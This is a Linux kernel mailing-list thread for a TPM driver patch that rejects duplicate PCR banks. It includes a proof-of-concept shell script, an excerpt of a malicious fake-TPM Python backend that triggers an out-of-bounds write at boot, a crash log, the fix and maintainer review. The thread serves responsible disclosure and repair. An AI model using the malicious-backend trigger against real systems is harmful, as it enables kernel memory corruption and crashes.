[PATCH v2 0/1] tpm: reject duplicate PCR banks in tpm2_get_pcr_allocation

[PATCH v2 0/1] tpm: reject duplicate PCR banks in tpm2_get_pcr_allocation

[Yuqi Xu]

Hi Linux kernel maintainers,

We found and validated an issue in drivers/char/tpm/tpm2-cmd.c.
The bug is triggered by an attacker-controlled TPM 2.0 backend that
returns duplicate PCR bank selections in its TPM2_CAP_PCRS response
during device probe.
We've tested it, and it should not affect any other functionality.

We will provide detailed information about the bug
in this email, along with a PoC to trigger it.

Changes in v2:
 - Return -EIO on a duplicate PCR bank instead of silently ignoring
   it, as requested by Jarkko Sakkinen.
 - v1 Link: https://lore.kernel.org/all/cover.1789800840.git.xuyuqiabc@gmail.com/

---- details below ----

Bug details:

`struct tpm_chip` reserves `chip->groups` as an array with only
`3 + TPM_MAX_HASHES` slots (8, with TPM_MAX_HASHES = 5).
`tpm2_get_pcr_allocation()` parses the TPM2_CAP_PCRS response and adds
every selection with a non-zero `pcr_select` to `chip->allocated_banks[]`.
It rejects more than `TPM2_MAX_PCR_BANKS` (8) selections but never checks
that the hash algorithm is unique.  `tpm_sysfs_add_device()` then stores
the device group plus one PCR group per allocated bank with
`chip->groups[chip->groups_cnt++]`, so eight duplicate SHA1 banks make it
write index 8 of an 8-element array, before the trailing
`WARN_ON(chip->groups_cnt > TPM_MAX_HASHES + 1)`.

The TPM response is external input: a malicious or buggy TPM 2.0 backend
can report the same bank eight times and drive the out-of-bounds write
during `tpm_chip_register()` -> `tpm_sysfs_add_device()`.

Return -EIO when a hash algorithm is reported twice. The TPM
protocol does not allow that duplicate, so the chip is not enabled
instead of silently dropping the extra selection.

Reproducer:

 cd /root
 ./poc.sh

poc.sh starts malicious_tpm.py, a small swtpm-control-protocol backend
that answers TPM2_CAP_PCRS with eight duplicate SHA1 selections, and boots
a kernel with `-device tpm-tis` pointing at it.  The script defaults
KERNEL_SRC to linux-lts-v6.12.74 and treats tpm-sysfs.c:513 as success.
That default tree is not the build in the crash log below.

The captured run is 7.3.0-rc3-00322-gab411db3c3b1 on a 2 vCPU, 2 GB RAM
x86 QEMU/KVM guest, with CONFIG_TCG_TPM, CONFIG_TCG_TIS and
CONFIG_UBSAN_BOUNDS enabled and panic_on_warn=1 on the command line.
UBSAN in that log reports tpm-sysfs.c:517.  CONFIG_TCG_TPM2_HMAC is
disabled so the probe reaches TPM2_CAP_PCRS without the fake backend
having to answer CREATE_PRIMARY.

------BEGIN poc.sh------

#!/usr/bin/env bash
set -euo pipefail

DIR="$(cd -- "$(dirname -- "$0")" && pwd)"
KERNEL_SRC="${1:-/home/data/data/repos/linux-repos/linux-lts-v6.12.74}"
CTRL_SOCK="$(mktemp -u /tmp/malicious-tpm-XXXXXX.sock)"
BACKEND_LOG="${DIR}/backend.log"
RAW_QEMU_LOG="${DIR}/qemu-raw.log"
QEMU_LOG="${DIR}/qemu.log"

cleanup() {
  if [[ -n "${BACKEND_PID:-}" ]] && kill -0 "${BACKEND_PID}" 2>/dev/null; then
    kill -TERM "${BACKEND_PID}" 2>/dev/null || true
    wait "${BACKEND_PID}" 2>/dev/null || true
  fi
  rm -f "${CTRL_SOCK}"
}
trap cleanup EXIT

: > "${BACKEND_LOG}"

python3 "${DIR}/malicious_tpm.py" --ctrl "${CTRL_SOCK}" --log "${BACKEND_LOG}" &
BACKEND_PID=$!

echo "backend log: ${BACKEND_LOG}"
echo "raw qemu log: ${RAW_QEMU_LOG}"
echo "sanitized qemu log: ${QEMU_LOG}"
echo "The VM should exit on its own after the panic. If it does not, kill the printed pid."

script -q -f "${RAW_QEMU_LOG}" -c "${DIR}/qemu-start-kernel-tpm.sh ${KERNEL_SRC} ${CTRL_SOCK}"
perl -pe 's/\e\[[0-9;?]*[ -\/]*[@-~]//g; s/\ec//g; s/\r//g' "${RAW_QEMU_LOG}" > "${QEMU_LOG}"

if grep -q 'UBSAN: array-index-out-of-bounds in ../drivers/char/tpm/tpm-sysfs.c:513:16' "${QEMU_LOG}" &&
   grep -q 'Kernel panic - not syncing: UBSAN: panic_on_warn set' "${QEMU_LOG}"; then
  echo "Trigger confirmed. See ${QEMU_LOG}"
else
  echo "Trigger not observed. See ${QEMU_LOG} and ${BACKEND_LOG}" >&2
  exit 1
fi

------END poc.sh--------

------BEGIN malicious_tpm.py excerpt------

ALG_SHA1 = 0x0004

def build_get_cap_pcrs():
    entries = []
    for _ in range(8):
        entries.append(be16(ALG_SHA1) + b"\x03" + b"\x01\x00\x00")
    payload = b"\x00" + be32(TPM2_CAP_PCRS) + be32(8) + b"".join(entries)
    return build_header(TPM2_RC_SUCCESS, payload)

        if cap == TPM2_CAP_PCRS:
            return build_get_cap_pcrs()

------END malicious_tpm.py excerpt------

Captured 7.3.0-rc3 log (7.3.0-rc3-00322-gab411db3c3b1).  This is not
the script's default linux-lts-v6.12.74 tree.

----BEGIN crash log----

[    0.487531] ------------[ cut here ]------------
[    0.487533] UBSAN: array-index-out-of-bounds in /home/lucas/work/net-tpm-675/drivers/char/tpm/tpm-sysfs.c:517:16
[    0.487535] index 8 is out of range for type 'attribute_group *[8]'
[    0.487538] CPU: 0 UID: 0 PID: 1 Comm: swapper/0 Not tainted 7.3.0-rc3-00322-gab411db3c3b1 #2 PREEMPT(lazy) 
[    0.487541] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.17.0-10.fc44 06/10/2025
[    0.487542] Call Trace:
[    0.487553]  <TASK>
[    0.487555]  dump_stack_lvl+0x4d/0x70
[    0.487561]  ubsan_epilogue+0x5/0x2b
[    0.487564]  __ubsan_handle_out_of_bounds.cold+0x4e/0x58
[    0.487567]  tpm_sysfs_add_device+0x29f/0x380
[    0.487573]  tpm_chip_register+0x3d/0x1e0
[    0.487576]  ? srso_alias_return_thunk+0x5/0xfbef5
[    0.487579]  ? srso_alias_return_thunk+0x5/0xfbef5
[    0.487580]  tpm_tis_core_init.cold+0x1bc/0x3a1
[    0.487584]  tpm_tis_plat_probe+0x101/0x130
[    0.487588]  ? srso_alias_return_thunk+0x5/0xfbef5
[    0.487590]  platform_probe+0x74/0xc0
[    0.487594]  ? driver_sysfs_add+0x50/0x80
[    0.487596]  really_probe+0xdd/0x290
[    0.487597]  ? srso_alias_return_thunk+0x5/0xfbef5
[    0.487599]  __driver_probe_device+0x99/0x180
[    0.487601]  ? __pfx___driver_attach+0x10/0x10
[    0.487602]  driver_probe_device+0x1a/0xa0
[    0.487604]  ? __pfx___driver_attach+0x10/0x10
[    0.487605]  __driver_attach+0xab/0x180
[    0.487607]  ? srso_alias_return_thunk+0x5/0xfbef5
[    0.487608]  bus_for_each_dev+0x92/0xf0
[    0.487611]  bus_add_driver+0x104/0x220
[    0.487613]  ? __pfx_init_tis+0x10/0x10
[    0.487617]  driver_register+0x70/0xe0
[    0.487619]  init_tis+0x9b/0xf0
[    0.487623]  do_one_initcall+0x84/0x260
[    0.487626]  kernel_init_freeable+0x249/0x2c0
[    0.487630]  ? __pfx_kernel_init+0x10/0x10
[    0.487633]  kernel_init+0x1b/0x140
[    0.487635]  ? __pfx_kernel_init+0x10/0x10
[    0.487637]  ret_from_fork+0x196/0x260
[    0.487640]  ? __pfx_kernel_init+0x10/0x10
[    0.487641]  ? __pfx_kernel_init+0x10/0x10
[    0.487643]  ret_from_fork_asm+0x1a/0x30
[    0.487646]  </TASK>
[    0.487647] ---[ end trace ]---
[    0.487648] Kernel panic - not syncing: UBSAN: panic_on_warn set ...

-----END crash log-----

Best regards,
Yuqi Xu

Yuqi Xu (1):
  tpm: reject duplicate PCR banks in tpm2_get_pcr_allocation

 drivers/char/tpm/tpm2-cmd.c | 18 ++++++++++++++++++
 1 file changed, 18 insertions(+)


base-commit: ab411db3c3b1fd0c70a36fb32c96b2c60175210b
-- 
2.55.0

[PATCH v2 1/1] tpm: reject duplicate PCR banks in tpm2_get_pcr_allocation

[Yuqi Xu]

The TPM2_CAP_PCRS response is external input. tpm2_get_pcr_allocation()
adds every active selection to allocated_banks, while
tpm_sysfs_add_device() has one group slot per distinct hash algorithm.
Eight duplicate selections can therefore write past chip->groups[].

The TPM protocol does not allow a hash algorithm to appear twice in
this capability response. Treat a duplicate as a broken TPM and return
-EIO so the chip is not enabled, instead of silently dropping the
extra selection.

Fixes: aab73d952402 ("tpm: add sysfs exports for all banks of PCR registers")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Assisted-by: LLM
Signed-off-by: Yuqi Xu <xuyuqiabc@gmail.com>
Reviewed-by: Ren Wei <weir@nebusec.ai>
---
Changes in v2:
 - Return -EIO on a duplicate PCR bank instead of silently ignoring
   it, as requested by Jarkko Sakkinen. A duplicate violates the TPM
   protocol, so the chip is not enabled.
 - v1 Link: https://lore.kernel.org/all/cover.1789800840.git.xuyuqiabc@gmail.com/
 drivers/char/tpm/tpm2-cmd.c | 18 ++++++++++++++++++
 1 file changed, 18 insertions(+)

diff --git a/drivers/char/tpm/tpm2-cmd.c b/drivers/char/tpm/tpm2-cmd.c
index ae22295df798..a94f4395c198 100644
--- a/drivers/char/tpm/tpm2-cmd.c
+++ b/drivers/char/tpm/tpm2-cmd.c
@@ -527,6 +527,7 @@ ssize_t tpm2_get_pcr_allocation(struct tpm_chip *chip)
 	u32 rsp_len;
 	int rc;
 	int i = 0;
+	int j;
 
 	struct tpm_buf *buf __free(kfree) = kzalloc(TPM_BUFSIZE, GFP_KERNEL);
 	if (!buf)
@@ -569,6 +570,23 @@ ssize_t tpm2_get_pcr_allocation(struct tpm_chip *chip)
 		pcr_select_offset = memchr_inv(pcr_selection.pcr_select, 0,
 					       pcr_selection.size_of_select);
 		if (pcr_select_offset) {
+			for (j = 0; j < nr_alloc_banks; j++) {
+				if (chip->allocated_banks[j].alg_id == hash_alg)
+					break;
+			}
+
+			/*
+			 * The TPM protocol does not allow the same hash
+			 * algorithm twice.  A duplicate means this device
+			 * is not behaving; do not enable it.
+			 */
+			if (j != nr_alloc_banks) {
+				pr_err("tpm: duplicate PCR bank for algorithm 0x%04x\n",
+				       hash_alg);
+				rc = -EIO;
+				break;
+			}
+
 			chip->allocated_banks[nr_alloc_banks].alg_id = hash_alg;
 
 			rc = tpm2_init_bank_info(chip, nr_alloc_banks);
-- 
2.55.0

Re: [PATCH v2 1/1] tpm: reject duplicate PCR banks in tpm2_get_pcr_allocation

[Jarkko Sakkinen]

On Mon, Sep 28, 2026 at 04:27:00PM +0800, Yuqi Xu wrote:
> The TPM2_CAP_PCRS response is external input. tpm2_get_pcr_allocation()
> adds every active selection to allocated_banks, while
> tpm_sysfs_add_device() has one group slot per distinct hash algorithm.
> Eight duplicate selections can therefore write past chip->groups[].
> 
> The TPM protocol does not allow a hash algorithm to appear twice in
> this capability response. Treat a duplicate as a broken TPM and return
> -EIO so the chip is not enabled, instead of silently dropping the
> extra selection.
> 
> Fixes: aab73d952402 ("tpm: add sysfs exports for all banks of PCR registers")
> Cc: stable@vger.kernel.org
> Reported-by: Vega <vega@nebusec.ai>
> Assisted-by: LLM
> Signed-off-by: Yuqi Xu <xuyuqiabc@gmail.com>
> Reviewed-by: Ren Wei <weir@nebusec.ai>
> ---
> Changes in v2:
>  - Return -EIO on a duplicate PCR bank instead of silently ignoring
>    it, as requested by Jarkko Sakkinen. A duplicate violates the TPM
>    protocol, so the chip is not enabled.
>  - v1 Link: https://lore.kernel.org/all/cover.1789800840.git.xuyuqiabc@gmail.com/
>  drivers/char/tpm/tpm2-cmd.c | 18 ++++++++++++++++++
>  1 file changed, 18 insertions(+)
> 
> diff --git a/drivers/char/tpm/tpm2-cmd.c b/drivers/char/tpm/tpm2-cmd.c
> index ae22295df798..a94f4395c198 100644
> --- a/drivers/char/tpm/tpm2-cmd.c
> +++ b/drivers/char/tpm/tpm2-cmd.c
> @@ -527,6 +527,7 @@ ssize_t tpm2_get_pcr_allocation(struct tpm_chip *chip)
>  	u32 rsp_len;
>  	int rc;
>  	int i = 0;
> +	int j;
>  
>  	struct tpm_buf *buf __free(kfree) = kzalloc(TPM_BUFSIZE, GFP_KERNEL);
>  	if (!buf)
> @@ -569,6 +570,23 @@ ssize_t tpm2_get_pcr_allocation(struct tpm_chip *chip)
>  		pcr_select_offset = memchr_inv(pcr_selection.pcr_select, 0,
>  					       pcr_selection.size_of_select);
>  		if (pcr_select_offset) {
> +			for (j = 0; j < nr_alloc_banks; j++) {
> +				if (chip->allocated_banks[j].alg_id == hash_alg)
> +					break;
> +			}
> +
> +			/*
> +			 * The TPM protocol does not allow the same hash
> +			 * algorithm twice.  A duplicate means this device
> +			 * is not behaving; do not enable it.
> +			 */
> +			if (j != nr_alloc_banks) {
> +				pr_err("tpm: duplicate PCR bank for algorithm 0x%04x\n",
> +				       hash_alg);
> +				rc = -EIO;
> +				break;
> +			}
> +
>  			chip->allocated_banks[nr_alloc_banks].alg_id = hash_alg;
>  
>  			rc = tpm2_init_bank_info(chip, nr_alloc_banks);
> -- 
> 2.55.0
> 

Yeah, so in some places like this some of the TPM driver code does
return -EFAULT but I'd like to progressively refactor so that any
corrupted traffic is always -EIO and use -EFAULT for memory related
issues. 

Thank you!

Reviewed-by: Jarkko Sakkinen <jarkko@kernel.org>

Br, Jarkko

Re: [PATCH v2 1/1] tpm: reject duplicate PCR banks in tpm2_get_pcr_allocation

[Jarkko Sakkinen]

On Wed, Sep 30, 2026 at 12:25:06AM +0300, Jarkko Sakkinen wrote:
> On Mon, Sep 28, 2026 at 04:27:00PM +0800, Yuqi Xu wrote:
> > The TPM2_CAP_PCRS response is external input. tpm2_get_pcr_allocation()
> > adds every active selection to allocated_banks, while
> > tpm_sysfs_add_device() has one group slot per distinct hash algorithm.
> > Eight duplicate selections can therefore write past chip->groups[].
> > 
> > The TPM protocol does not allow a hash algorithm to appear twice in
> > this capability response. Treat a duplicate as a broken TPM and return
> > -EIO so the chip is not enabled, instead of silently dropping the
> > extra selection.
> > 
> > Fixes: aab73d952402 ("tpm: add sysfs exports for all banks of PCR registers")
> > Cc: stable@vger.kernel.org
> > Reported-by: Vega <vega@nebusec.ai>
> > Assisted-by: LLM
> > Signed-off-by: Yuqi Xu <xuyuqiabc@gmail.com>
> > Reviewed-by: Ren Wei <weir@nebusec.ai>
> > ---
> > Changes in v2:
> >  - Return -EIO on a duplicate PCR bank instead of silently ignoring
> >    it, as requested by Jarkko Sakkinen. A duplicate violates the TPM
> >    protocol, so the chip is not enabled.
> >  - v1 Link: https://lore.kernel.org/all/cover.1789800840.git.xuyuqiabc@gmail.com/
> >  drivers/char/tpm/tpm2-cmd.c | 18 ++++++++++++++++++
> >  1 file changed, 18 insertions(+)
> > 
> > diff --git a/drivers/char/tpm/tpm2-cmd.c b/drivers/char/tpm/tpm2-cmd.c
> > index ae22295df798..a94f4395c198 100644
> > --- a/drivers/char/tpm/tpm2-cmd.c
> > +++ b/drivers/char/tpm/tpm2-cmd.c
> > @@ -527,6 +527,7 @@ ssize_t tpm2_get_pcr_allocation(struct tpm_chip *chip)
> >  	u32 rsp_len;
> >  	int rc;
> >  	int i = 0;
> > +	int j;
> >  
> >  	struct tpm_buf *buf __free(kfree) = kzalloc(TPM_BUFSIZE, GFP_KERNEL);
> >  	if (!buf)
> > @@ -569,6 +570,23 @@ ssize_t tpm2_get_pcr_allocation(struct tpm_chip *chip)
> >  		pcr_select_offset = memchr_inv(pcr_selection.pcr_select, 0,
> >  					       pcr_selection.size_of_select);
> >  		if (pcr_select_offset) {
> > +			for (j = 0; j < nr_alloc_banks; j++) {
> > +				if (chip->allocated_banks[j].alg_id == hash_alg)
> > +					break;
> > +			}
> > +
> > +			/*
> > +			 * The TPM protocol does not allow the same hash
> > +			 * algorithm twice.  A duplicate means this device
> > +			 * is not behaving; do not enable it.
> > +			 */
> > +			if (j != nr_alloc_banks) {
> > +				pr_err("tpm: duplicate PCR bank for algorithm 0x%04x\n",
> > +				       hash_alg);
> > +				rc = -EIO;
> > +				break;
> > +			}
> > +
> >  			chip->allocated_banks[nr_alloc_banks].alg_id = hash_alg;
> >  
> >  			rc = tpm2_init_bank_info(chip, nr_alloc_banks);
> > -- 
> > 2.55.0
> > 
> 
> Yeah, so in some places like this some of the TPM driver code does
> return -EFAULT but I'd like to progressively refactor so that any
> corrupted traffic is always -EIO and use -EFAULT for memory related
> issues. 
> 
> Thank you!
> 
> Reviewed-by: Jarkko Sakkinen <jarkko@kernel.org>

WARNING: Reported-by: should be immediately followed by Closes: or Link: with a URL to the report
#18:
Reported-by: Vega <vega@nebusec.ai>
Assisted-by: LLM

No need to resend a new version but I'd need a link to the *report* to
retain reported-by tag here.

Br, Jarkko

Re: [PATCH v2 1/1] tpm: reject duplicate PCR banks in tpm2_get_pcr_allocation

[Yuqi Xu]

On Wed, Sep 30, 2026 at 01:34:48AM +0300, Jarkko Sakkinen wrote:
> No need to resend a new version but I'd need a link to the *report* to
> retain reported-by tag here.

https://bugtracker.nebusec.ai/f/675

This is the report. The page requires a sign-in or registration
before it opens.

Thanks,
Yuqi Xu

Re: [PATCH v2 1/1] tpm: reject duplicate PCR banks in tpm2_get_pcr_allocation

[Yuan Tan]

On 9/29/26 20:33, Yuqi Xu wrote:

> On Wed, Sep 30, 2026 at 01:34:48AM +0300, Jarkko Sakkinen wrote:
>> No need to resend a new version but I'd need a link to the *report* to
>> retain reported-by tag here.
> https://bugtracker.nebusec.ai/f/675
>
> This is the report. The page requires a sign-in or registration
> before it opens.
>
> Thanks,
> Yuqi Xu

Hi Jarkko,


This bug report comes from our bug tracker[1]. The tracker automatically
collects bug reports from different sources, such as Sashiko and bugs
found by our own tools, and then attempts to generate reproducers to
verify that the reported issues are real rather than LLM hallucinations.

Some maintainers were concerned that some of these bugs could have
security implications, so we currently restrict registration to email
addresses listed in the MAINTAINERS file.

At the moment, we have implemented automatic fix tracking and Sashiko
report collection for the networking subsystem. These features are not
yet available for other subsystems, so if you log in, you may notice
that some bugs in the system have already been fixed upstream.

We'd be happy to provide support if you're interested in using the tracker.

Best,
Yuan

Background about this tracker:
[1] https://lore.kernel.org/all/20260830115546.3942129-1-yuantan098@gmail.com/

<https://lore.kernel.org/all/20260830115546.3942129-1-yuantan098@gmail.com/>

Re: [PATCH v2 1/1] tpm: reject duplicate PCR banks in tpm2_get_pcr_allocation

[Jarkko Sakkinen]

On Wed, Sep 30, 2026 at 11:33:00AM +0800, Yuqi Xu wrote:
> On Wed, Sep 30, 2026 at 01:34:48AM +0300, Jarkko Sakkinen wrote:
> > No need to resend a new version but I'd need a link to the *report* to
> > retain reported-by tag here.
> 
> https://bugtracker.nebusec.ai/f/675
> 
> This is the report. The page requires a sign-in or registration
> before it opens.

For me this is good enough given that there is nothing unclear in the
bug fix itself.

Thanks.

> 
> Thanks,
> Yuqi Xu

Br, Jarkko